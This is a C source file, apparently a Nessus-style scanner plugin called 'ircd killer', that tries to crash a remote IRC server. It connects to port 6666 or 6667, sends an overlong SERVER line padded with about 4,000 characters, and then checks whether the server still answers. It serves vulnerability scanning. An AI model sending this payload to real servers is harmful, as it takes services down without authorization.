/*
 * 
 * ircd_dos
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>

#define NAME "ircd killer"
#define DESC "This plugin tries to crash a remote ircd server by\n\
sending it a very long string\n\
Risk factor : medium"
#define COPYRIGHT "original code by fx of nnh (aaron@ug.cs.dal.ca)"
#define SUMM "attempts to crash ircd"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
        char *str;
        int port=-1,i,soc;

	for(i=6666;i<6668;i++)
	{
	if(host_get_port_state(args, i)){
		port = i;
		break;
		}
	}
	if(port==-1)return(0);
	soc = open_sock_tcp(args, port);
        if(soc<0)return;
        /* copy data into our string */
        str = (char *)emalloc(4096);
        strcpy(str, "SERVER warez.blackdown.org
        aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa :[");


        for (i = 0; i < 4000; i++)
                strcat(str, "o");
        strcat(str, "]\n");
	sleep(8);
        if ( send(soc, str, strlen(str), 0) < 0 )return(0);
        socket_close(soc);
 	efree(&str);
 	if((soc = open_sock_tcp(args, port))<0)
 		post_hole(args, port, 
 "the remote ircd server could be crashed by sending it\n\
a dumb buffer overflow");
	else socket_close(soc);
 	return(0);
}
